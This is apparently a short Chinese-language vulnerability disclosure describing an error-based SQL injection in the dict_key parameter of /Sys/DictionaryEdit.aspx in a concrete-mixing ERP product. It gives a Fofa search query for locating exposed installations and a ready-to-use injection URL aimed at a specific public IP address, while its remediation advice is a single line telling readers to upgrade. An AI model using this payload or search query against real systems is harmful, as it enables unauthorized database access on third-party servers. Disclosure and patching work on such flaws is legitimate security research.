# 商混ERP系统 DictionaryEdit.aspx 页面存在SQL注入

## 漏洞描述

杭州荷花软件有限公司开发的商混ERP系统。这套系统主要是处理建筑公司或者各项工程的搅拌站管理，内部含有销售模块、生产管理模块、实验室模块、人员管理等，该公司的商品混凝土ERP系统/Sys/DictionaryEdit.aspx处dict\_key参数存在SQL报错注入漏洞，攻击者可通过该漏洞获取数据库权限。

## 漏洞复现

1. Fofa

title="商混ERP系统"



1. 部分界面如下



1. 隐患url，验证如下

http://122.234.96.142:8001/Sys/DictionaryEdit.aspx?dict\_key=1%27%20and%201=convert(varchar(100),substring(sys.fn\_sqlvarbasetostr(HashBytes(%27MD5%27,%27123456%27)),3,32))--



## 修复建议

1、升级到安全版本。